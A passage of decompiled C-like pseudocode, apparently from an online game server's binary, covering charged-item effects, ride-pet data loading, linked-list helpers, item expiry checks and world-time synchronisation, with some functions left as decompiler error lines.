ChargedItemEffectDataBox::_ChargedItemEffectDataBox(ChargedItemEffectDataBox *this) { BinaryData *v1; // esi@1 v1 = (BinaryData *)this; if ( this->cideb_Array ) operator delete((void *)this->cideb_Array); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (00437C80) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::ChargedItemEffectDataBox(ChargedItemEffectDataBox *this) { ChargedItemEffectDataBox *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->baseclass_0.baseclass_0); memset(&v1->baseclass_0.bdb_defaultblock, 0, sizeof(v1->baseclass_0.bdb_defaultblock)); v1->cideb_Array = 0; } //----- (00437CA0) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::_ChargedItemEffectDataBox(ChargedItemEffectDataBox *this) { BinaryData *v1; // esi@1 v1 = (BinaryData *)this; if ( this->cideb_Array ) operator delete(this->cideb_Array); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (00437CC0) -------------------------------------------------------- void __thiscall RidePetDataBox::RidePetDataBox(RidePetDataBox *this) { RidePetDataBox *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->baseclass_0.baseclass_0.baseclass_0); memset(&v1->baseclass_0.baseclass_0.bdb_defaultblock, 0, 0x158u); *(_WORD *)&v1->baseclass_0.baseclass_0.bdb_defaultblock.DummyB[30] = 0; v1->baseclass_0.cideb_Array = 0; } //----- (00437CF0) -------------------------------------------------------- void __thiscall RidePetDataBox::_RidePetDataBox(RidePetDataBox *this) { BinaryData *v1; // esi@1 v1 = (BinaryData *)this; if ( this->baseclass_0.cideb_Array ) operator delete((void *)this->baseclass_0.cideb_Array); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (00437D10) -------------------------------------------------------- void __thiscall RidePetDataBox::rpdb_Load(RidePetDataBox *this) { RidePetDataBox *v1; // ebp@1 SkillDataBox::SkillDataIndex *v2; // eax@1 signed int v3; // ebx@1 RIDING *v4; // eax@4 const char *v5; // esi@4 unsigned int v6; // eax@5 unsigned __int16 v7; // di@7 SkillDataBox::SkillDataIndex *v8; // eax@10 v1 = this; v2 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UseRide"); ChargedItemEffectDataBox::cideb_Load(&v1->baseclass_0, "../9Data/Shine/Riding.shn", &ui_ride, v2); v3 = -1; while ( v3 >= -1 ) { ++v3; if ( v3 >= v1->baseclass_0.cideb_Total ) break; v4 = v1->baseclass_0.cideb_Array[v3].ce_Data; v5 = v4->FeedType; if ( v4->FeedType[0] != 45 ) { v6 = BTree::operator__(&stru_125739F0, v4->FeedType); if ( v6 == -1 ) LOWORD(v6) = -1; v7 = v6; if ( (unsigned __int16)v6 == 65535 ) { AssertClass::ac_AssertFail(&shineassert, "RidePetDataBox::rpdb_Load : Invalid food", v5); ShineExit("RidePetDataBox::rpdb_Load"); } v8 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UseSkill"); UseEffect::UsedItemEffect::uie_SetChargedBuffer(&useditemeffect, v7, &ui_horsefood, v8); } } } //----- (00437DE0) -------------------------------------------------------- int __cdecl mysecond(int *pnt) { int v1; // ecx@0 int result; // eax@1 int cur; // [sp+0h] [bp-4h]@1 cur = v1; time(&cur); result = diffence2world + cur; if ( pnt ) *pnt = result; return result; } // 81ECB8: using guessed type __int32 diffence2world; //----- (00437E10) -------------------------------------------------------- ChargedItemEffect *__thiscall ChargedItemEffectDataBox::cideb_FindFromHandle(ChargedItemEffectDataBox *this, int handle) { int v2; // edx@1 int v3; // eax@1 CIDEB_Element *v4; // esi@2 int v5; // ecx@2 ChargedItemEffect *result; // eax@5 v2 = this->cideb_Total; v3 = 0; if ( v2 <= 0 ) { LABEL_5: result = 0; } else { v4 = this->cideb_Array; v5 = (int)&v4->ce_Data; while ( **(_WORD **)v5 != handle ) { ++v3; v5 += 8; if ( v3 >= v2 ) goto LABEL_5; } result = v4[v3].ce_Data; } return result; } //----- (00437E50) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5ABC08: using guessed type int (__stdcall *List_ChargedItemEffectList__ChargedItemEffectElement____vftable_[3])(__int16 hnd); //----- (00437E70) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, ChargedItemEffectList::ChargedItemEffectElement *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2)) != 0 ) { *(_DWORD *)v3 = ele->ciee_Index; *(_DWORD *)(v3 + 4) = *(_DWORD *)&ele->ciee_Year; *(_DWORD *)(v3 + 8) = *(_DWORD *)&ele->ciee_Minute; result = 1; } else { result = 0; } return result; } //----- (00437EB0) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, ChargedItemEffectList::ChargedItemEffectElement *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 ChargedItemEffectList::ChargedItemEffectElement *v5; // edx@4 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Next; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; v5 = v2[(unsigned __int16)v3].ls_Content; ele->ciee_Index = v5->ciee_Index; *(_DWORD *)&ele->ciee_Year = *(_DWORD *)&v5->ciee_Year; *(_DWORD *)&ele->ciee_Minute = *(_DWORD *)&v5->ciee_Minute; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (00437F10) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, ChargedItemEffectList::ChargedItemEffectElement *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 ChargedItemEffectList::ChargedItemEffectElement *v5; // edx@4 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Prev; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; v5 = v2[(unsigned __int16)v3].ls_Content; ele->ciee_Index = v5->ciee_Index; *(_DWORD *)&ele->ciee_Year = *(_DWORD *)&v5->ciee_Year; *(_DWORD *)&ele->ciee_Minute = *(_DWORD *)&v5->ciee_Minute; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (00437F70) -------------------------------------------------------- void __thiscall ChargedItemEffectList::ChargedItemEffectElement::ciee_SetEndTime(ChargedItemEffectList::ChargedItemEffectElement *this, ChargedItemEffect *index, int year, int month, int date, int hour, int minute) { ChargedItemEffectList::ChargedItemEffectElement *v7; // esi@1 v7 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ChargedItemEffectList::ChargedItemEffect::cie_SetEndTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ChargedItemEffectList::ChargedItemEffect::cie_SetEndTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7->ciee_Month = month; v7->ciee_Index = index; v7->ciee_Year = year; v7->ciee_Minute = minute; v7->ciee_Date = date; v7->ciee_Hour = hour; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ChargedItemEffectList::ChargedItemEffect::cie_SetEndTime"); } //----- (00438000) -------------------------------------------------------- void __thiscall ChargedItemEffectList::ChargedItemEffectElement::ciee_Activ(ChargedItemEffectList::ChargedItemEffectElement *this, ChargedItemEffectList::ChargedItem *chargeditem, unsigned __int16 handle) { ChargedItemEffectList::ChargedItemEffectElement *v3; // esi@1 ChargedItemEffect *v4; // eax@1 char v5; // al@5 char v6; // al@7 char v7; // al@9 unsigned __int16 v8; // ax@12 unsigned __int16 v9; // ax@14 unsigned __int16 v10; // ax@16 unsigned __int16 v11; // ax@18 unsigned __int16 v12; // ax@20 ChargedItemEffectList::ChargedItem *v13; // ecx@22 unsigned __int16 v14; // ax@23 unsigned __int16 v15; // ax@26 int v16; // eax@28 ChargedItemEffectList::ChargedItem *v17; // ecx@30 int v18; // eax@30 unsigned __int16 v19; // ax@35 unsigned __int16 v20; // ax@40 ChargedItemEffectList::ChargedItem *v21; // ecx@42 unsigned __int16 v22; // ax@43 unsigned __int16 v23; // ax@46 unsigned __int16 v24; // ax@48 ChargedItemEffectList::ChargedItem *v25; // ecx@50 unsigned __int16 v26; // ax@50 unsigned __int16 v27; // ax@51 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ChargedItemEffectElement::ChargedItemEffect::ciee_Activ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ChargedItemEffectElement::ChargedItemEffect::ciee_Activ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->ciee_Index; switch ( v3->ciee_Index->EffectEnum ) { case 0: if ( chargeditem->ci_Effect.cec_SilverWingCoolTime_Minute > v4->EffectValue ) chargeditem->ci_Effect.cec_SilverWingCoolTime_Minute = LOBYTE(v4->EffectValue); break; case 1: chargeditem->ci_Effect.cec_ProveOfBless.bless = 1; chargeditem->ci_Effect.cec_ProveOfBless.blesshandle = handle; break; case 2: v5 = LOBYTE(v4->EffectValue) + chargeditem->ci_Effect.cec_MoreInven; chargeditem->ci_Effect.cec_MoreInven = v5; if ( (unsigned __int8)v5 > 4u ) chargeditem->ci_Effect.cec_MoreInven = 4; break; case 3: v6 = LOBYTE(v4->EffectValue) + chargeditem->ci_Effect.cec_MoreStorage; chargeditem->ci_Effect.cec_MoreStorage = v6; if ( (unsigned __int8)v6 > 2u ) chargeditem->ci_Effect.cec_MoreStorage = 2; break; case 4: v7 = LOBYTE(v4->EffectValue) + chargeditem->ci_Effect.cec_StreetBoothSlot; chargeditem->ci_Effect.cec_StreetBoothSlot = v7; if ( (unsigned __int8)v7 > 0x14u ) chargeditem->ci_Effect.cec_StreetBoothSlot = 20; break; case 5: chargeditem->ci_Effect.cec_LighteningPickParts = 1; break; case 6: v8 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_HPStoneLimit < v8 ) chargeditem->ci_Effect.cec_HPStoneLimit = v8; break; case 7: v9 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_SPStoneLimit < v9 ) chargeditem->ci_Effect.cec_SPStoneLimit = v9; break; case 8: v10 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_HPStoneLimit < v10 ) chargeditem->ci_Effect.cec_HPStoneLimit = v10; v11 = v3->ciee_Index->EffectValue; if ( chargeditem->ci_Effect.cec_SPStoneLimit < v11 ) chargeditem->ci_Effect.cec_SPStoneLimit = v11; break; case 0xD: v12 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_MaxHPRate < v12 ) chargeditem->ci_Effect.cec_MaxHPRate = v12; break; case 0xE: v13 = chargeditem; goto LABEL_26; case 0xF: v13 = chargeditem; v14 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_MaxHPRate < v14 ) chargeditem->ci_Effect.cec_MaxHPRate = v14; v4 = v3->ciee_Index; LABEL_26: v15 = v4->EffectValue; if ( v13->ci_Effect.cec_MaxSPRate < v15 ) v13->ci_Effect.cec_MaxSPRate = v15; break; case 0xA: v16 = (v4->EffectValue << 10) / 1000; if ( chargeditem->ci_Effect.cec_AttackForceRate1024 < v16 ) chargeditem->ci_Effect.cec_AttackForceRate1024 = v16; break; case 0xB: v17 = chargeditem; v18 = (v4->EffectValue << 10) / 1000; goto LABEL_33; case 0xC: v17 = chargeditem; v18 = (v4->EffectValue << 10) / 1000; if ( chargeditem->ci_Effect.cec_AttackForceRate1024 < v18 ) chargeditem->ci_Effect.cec_AttackForceRate1024 = v18; LABEL_33: if ( v17->ci_Effect.cec_DefendForceRate1024 < v18 ) v17->ci_Effect.cec_DefendForceRate1024 = v18; break; case 0x10: v19 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_ItemDropRate < v19 ) chargeditem->ci_Effect.cec_ItemDropRate = v19; break; case 0x11: chargeditem->ci_Effect.cec_MoverNotHungry = LOBYTE(v4->EffectValue); break; case 0x12: chargeditem->ci_Effect.cec_ExpBonus = v4->EffectValue; break; case 0x13: chargeditem->ci_Effect.cec_MoreStat = LOBYTE(v4->EffectValue); break; case 0x14: v20 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_ItemPowerAttack < v20 ) chargeditem->ci_Effect.cec_ItemPowerAttack = v20; break; case 0x15: v21 = chargeditem; goto LABEL_46; case 0x16: v21 = chargeditem; v22 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_ItemPowerAttack < v22 ) chargeditem->ci_Effect.cec_ItemPowerAttack = v22; v4 = v3->ciee_Index; LABEL_46: v23 = v4->EffectValue; if ( v21->ci_Effect.cec_ItemPowerDefence < v23 ) v21->ci_Effect.cec_ItemPowerDefence = v23; break; case 0x17: v24 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_ProductCastTimeRate < v24 ) chargeditem->ci_Effect.cec_ProductCastTimeRate = v24; break; case 0x18: v25 = chargeditem; v26 = v4->EffectValue; goto LABEL_54; case 0x19: v25 = chargeditem; v27 = v4->EffectValue; if ( chargeditem->ci_Effect.cec_ProductCastTimeRate < v27 ) chargeditem->ci_Effect.cec_ProductCastTimeRate = v27; v26 = v3->ciee_Index->EffectValue; LABEL_54: if ( v25->ci_Effect.cec_ProductMasteryRate < v26 ) v25->ci_Effect.cec_ProductMasteryRate = v26; break; default: break; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ChargedItemEffectElement::ChargedItemEffect::ciee_Activ"); } //----- (00438420) -------------------------------------------------------- #error "438420: undefined or illegal type '#434' (funcsize=120)" //----- (004385E0) -------------------------------------------------------- void __thiscall ChargedItemEffectList::ChargedItemEffectElement::ciee_Routine(ChargedItemEffectList::ChargedItemEffectElement *this, ChargedItemEffectList::ChargedItem *chargeditem, unsigned __int16 handle, #434 *ply) { ChargedItemEffectList::ChargedItemEffectElement *v4; // esi@1 unsigned int v5; // edx@1 unsigned int v6; // edx@4 unsigned int v7; // eax@4 unsigned int v8; // edx@8 unsigned int v9; // eax@8 unsigned int v10; // edx@11 unsigned int v11; // eax@11 ChargedItemEffectList::ChargedItem *v12; // [sp-10h] [bp-20h]@7 unsigned __int16 v13; // [sp-Ch] [bp-1Ch]@7 #434 *v14; // [sp-8h] [bp-18h]@7 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ChargedItemEffectList::ChargedItemEffectElement::ciee_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ChargedItemEffectList::ChargedItemEffectElement::ciee_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = v4->ciee_Year; if ( v5 > (unsigned __int8)chargeditemcheck._bf0 ) goto LABEL_2; if ( v5 < (unsigned __int8)chargeditemcheck._bf0 ) goto LABEL_13; v6 = v4->ciee_Month; v7 = ((unsigned int)chargeditemcheck._bf0 >> 8) & 0x1F; if ( v6 > v7 ) { ChargedItemEffectList::ChargedItemEffectElement::ciee_Activ(v4, chargeditem, handle); goto LABEL_17; } if ( v6 < v7 ) { v14 = ply; v13 = handle; v12 = chargeditem; LABEL_16: ChargedItemEffectList::ChargedItemEffectElement::ciee_Free(v4, v12, v13, v14); goto LABEL_17; } v8 = v4->ciee_Date; v9 = ((unsigned int)chargeditemcheck._bf0 >> 13) & 0x3F; if ( v8 > v9 ) { LABEL_9: ChargedItemEffectList::ChargedItemEffectElement::ciee_Activ(v4, chargeditem, handle); goto LABEL_17; } if ( v8 < v9 ) goto LABEL_15; v10 = v4->ciee_Hour; v11 = ((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F; if ( v10 <= v11 ) { if ( v10 < v11 ) { LABEL_13: v14 = ply; v13 = handle; v12 = chargeditem; goto LABEL_16; } if ( v4->ciee_Minute >= (unsigned int)chargeditemcheck._bf0 >> 25 ) goto LABEL_9; LABEL_15: v14 = ply; v13 = handle; v12 = chargeditem; goto LABEL_16; } LABEL_2: ChargedItemEffectList::ChargedItemEffectElement::ciee_Activ(v4, chargeditem, handle); LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ChargedItemEffectList::ChargedItemEffectElement::ciee_Routine"); } //----- (00438750) -------------------------------------------------------- void __thiscall ChargedItemEffectList::ChargedEffectList::_ChargedEffectList(ChargedItemEffectList::ChargedEffectList *this) { ChargedItemEffectList::ChargedEffectList *v1; // esi@1 void *v2; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_destructor_iterator_( this->cel_Effect, 0xCu, 50, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; v2 = v1->baseclass_0.l_Array; if ( v2 ) operator delete__(v2); } // 5ABC08: using guessed type int (__stdcall *List_ChargedItemEffectList__ChargedItemEffectElement____vftable_[3])(__int16 hnd); //----- (004387C0) -------------------------------------------------------- #error "4387C0: undefined or illegal type '#434' (funcsize=25)" //----- (00438820) -------------------------------------------------------- #error "438820: undefined or illegal type '#434' (funcsize=30)" //----- (00438890) -------------------------------------------------------- #error "438890: undefined or illegal type '#434' (funcsize=37)" //----- (00438940) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ItemDelete(void *this, int cell, __int16 inventype, __int16 slot, int deltime) { void *v5; // esi@1 int v6; // edx@1 int v7; // eax@1 unsigned int v8; // ecx@1 char *v9; // ecx@1 int v10; // eax@1 ITEM_INVEN inv; // [sp+4h] [bp-14h]@1 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v13; // [sp+14h] [bp-4h]@1 v5 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_ItemDelete"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ItemDelete"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ItemDelete"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = *(_DWORD *)v5; v13 = 0; v7 = (*(int (__thiscall **)(void *))(v6 + 1352))(v5); v8 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v8; v9 = (char *)&namestring + 256 * v8; *(_DWORD *)v9 = *(_DWORD *)v7; *((_DWORD *)v9 + 1) = *(_DWORD *)(v7 + 4); *((_DWORD *)v9 + 2) = *(_DWORD *)(v7 + 8); *((_DWORD *)v9 + 3) = *(_DWORD *)(v7 + 12); v9[16] = 0; v10 = *((_WORD *)v5 + 2); inv.Inven = (inventype << 10) | slot & 0x3FF; ShineObjectClass::ShinePlayer::sp_DestroyItem(v5, v10, cell, &inv); --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ItemDelete"); } // 4DBC80: using guessed type int __thiscall ShineObjectClass__ShinePlayer__sp_DestroyItem(_DWORD, _DWORD, _DWORD, _DWORD); //----- (00438A50) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_MISC_TIMEFROMWORLD_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { int v3; // esi@1 int cur; // [sp+0h] [bp-24h]@1 FunctionEntarance _; // [sp+4h] [bp-20h]@1 _SYSTEMTIME systime; // [sp+8h] [bp-1Ch]@1 int v7; // [sp+20h] [bp-4h]@1 _.fe_FunctionCode = "WorldManagerSession::wms_NC_MISC_TIMEFROMWORLD_CMD"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_TIMEFROMWORLD_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_MISC_TIMEFROMWORLD_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = 0; memcpy((void *)&timefromworld, &netcmd[1], sizeof(timefromworld)); v3 = mktime(&timefromworld); time(&cur); systime.wMinute = LOWORD(timefromworld.tm_min); systime.wSecond = timefromworld.tm_sec; systime.wHour = LOWORD(timefromworld.tm_hour); systime.wMonth = LOWORD(timefromworld.tm_mon) + 1; systime.wDay = LOWORD(timefromworld.tm_mday); diffence2world = v3 - cur; systime.wYear = LOWORD(timefromworld.tm_year) + 1900; systime.wDayOfWeek = LOWORD(timefromworld.tm_wday); systime.wMilliseconds = 0; SetLocalTime(&systime); if ( !clockwatch.cw_IsReset ) { clockwatch.cw_CurrTick = 0; clockwatch.cw_TotalMilliSec = 0i64; clockwatch.cw_LastMilliSec = timeGetTime(); clockwatch.cw_IsReset = 1; clockwatch.cw_LastMilliSecByDelta = timeGetTime(); } BossFieldContent::ServentBuffBossTable::sbbt_TimerReset(&BossFieldContent::g_ServentBuffBossTable); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_MISC_TIMEFROMWORLD_CMD"); } // 81ECB8: using guessed type __int32 diffence2world; //----- (00438BC0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, ChargedItemEffectList::ChargedItemEffectElement *ele) { int v2; // eax@1 int v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2)) != 0 ) { *(_DWORD *)v3 = ele->ciee_Index; *(_DWORD *)(v3 + 4) = *(_DWORD *)&ele->ciee_Year; *(_DWORD *)(v3 + 8) = *(_DWORD *)&ele->ciee_Minute; result = 1; } else { result = 0; } return result; } //----- (00438C00) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ChargedItemTest(void *this, int num) { void *v2; // edi@1 ChargedItemEffect *v3; // esi@1 int v4; // eax@2 ChargedItemEffectList::ChargedItemEffectElement *v5; // edi@3 tm *v6; // eax@4 int curtime; // [sp+4h] [bp-14h]@4 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v9; // [sp+14h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_ChargedItemTest"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChargedItemTest"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ChargedItemTest"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v9 = 0; v3 = ChargedItemEffectDataBox::cideb_FindFromHandle(&chargedbuffdatabox, num); if ( v3 ) { v4 = *((_WORD *)v2 + 45542); if ( (_WORD)v4 != -1 ) { v5 = (ChargedItemEffectList::ChargedItemEffectElement *)(*(int (__stdcall **)(int))(*((_DWORD *)v2 + 22768) + 4))(v4); if ( v5 ) { time(&num); num += diffence2world; curtime = num; v6 = localtime(&curtime); ChargedItemEffectList::ChargedItemEffectElement::ciee_SetEndTime( v5, v3, v6->tm_year - 100, v6->tm_mon + 1, v6->tm_mday, v6->tm_hour, v6->tm_min + 5); } } } --funcallanalizer.fca_stackpoint; v9 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChargedItemTest"); } // 81ECB8: using guessed type __int32 diffence2world; //----- (00438D20) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_ChargedItemLimitCheck(void *this, ItemBag *itembag, int inventype) { void *v3; // ebp@1 ItemBag v4; // edx@1 int v5; // eax@1 InventoryLocking::InventoryCellLock *v6; // eax@1 int v7; // ebx@2 int v8; // esi@2 int v9; // eax@4 unsigned int v10; // esi@5 unsigned int v11; // edx@5 int v12; // ecx@8 unsigned int v13; // edx@8 int v14; // ecx@10 unsigned int v15; // edx@10 int v16; // ecx@12 unsigned int v17; // edx@12 InventoryLocking::UnlockedInventoryIterator uii; // [sp+18h] [bp-28h]@1 ItemBoxIterItem ibii; // [sp+24h] [bp-1Ch]@1 int v20; // [sp+3Ch] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChargedItemLimitCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_ChargedItemLimitCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibii.baseclass_0.ibi_itembag = itembag; v4.vfptr = itembag->vfptr; v20 = 0; ibii.baseclass_0.ibi_Limit = ((int (*)(void))v4.vfptr->ib_BagSizeOutput)(); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterItem::_vftable_; v5 = *(_DWORD *)v3; LOBYTE(v20) = 1; v6 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(void *))(v5 + 1916))(v3); uii.uii_Iterator = (ItemBoxIterator *)&ibii; uii.uii_LockList = v6; uii.uii_InvenType = inventype; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home(&uii) ) { do { v7 = (**(int (__stdcall ***)(_DWORD))uii.uii_Iterator->ibi_itembag)(uii.uii_Iterator->ibi_finger); v8 = *(_DWORD *)(v7 + 112); if ( (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v8 + 36))(*(_DWORD *)(v7 + 112)) != 23 || (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1136))(v3) != 6 ) { v9 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v8 + 48))(v8, v7 + 8); if ( v9 ) { v10 = *(_DWORD *)v9; v11 = (unsigned __int8)*(_DWORD *)v9; if ( (unsigned __int8)*(_DWORD *)v9 ) { if ( v11 <= (unsigned __int8)chargeditemcheck._bf0 ) { if ( v11 < (unsigned __int8)chargeditemcheck._bf0 || (v12 = (v10 >> 8) & 0x1F, v13 = ((unsigned int)chargeditemcheck._bf0 >> 8) & 0x1F, v12 <= v13) && (v12 < v13 || (v14 = (v10 >> 13) & 0x3F, v15 = ((unsigned int)chargeditemcheck._bf0 >> 13) & 0x3F, v14 <= v15) && (v14 < v15 || (v16 = (v10 >> 19) & 0x3F, v17 = ((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F, v16 <= v17) && (v16 < v17 || (v10 & 0xFE000000) < ((unsigned int)chargeditemcheck._bf0 & 0xFE000000)))) ) ShineObjectClass::ShinePlayer::sp_ItemDelete(v3, v7, inventype, uii.uii_Iterator->ibi_finger, v9); } } } } } while ( InventoryLocking::UnlockedInventoryIterator::uii_Next(&uii) ); } --funcallanalizer.fca_stackpoint; ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; v20 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_ChargedItemLimitCheck"); } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87E4: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (00438EF0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00439010) -------------------------------------------------------- void __thiscall ChargedItemEffectList::ChargedEffectList::ChargedEffectList(ChargedItemEffectList::ChargedEffectList *this) { ChargedItemEffectList::ChargedEffectList *v1; // esi@1 signed int v2; // edx@1 signed int v3; // ebx@1 int v4; // eax@1 int v5; // edi@1 int v6; // ecx@3 int v7; // ebp@3 int v8; // ecx@3 int v9; // ecx@6 int v10; // ebp@6 int v11; // ecx@6 int v12; // ecx@9 int v13; // ebp@9 int v14; // ecx@9 ListStruct *v15; // ecx@12 ChargedItemEffectList::ChargedItemEffectElement *v16; // ebp@12 int v17; // ecx@12 int v18; // ecx@15 int v19; // ebp@15 int v20; // ecx@15 v1 = this; this->baseclass_0.vfptr = 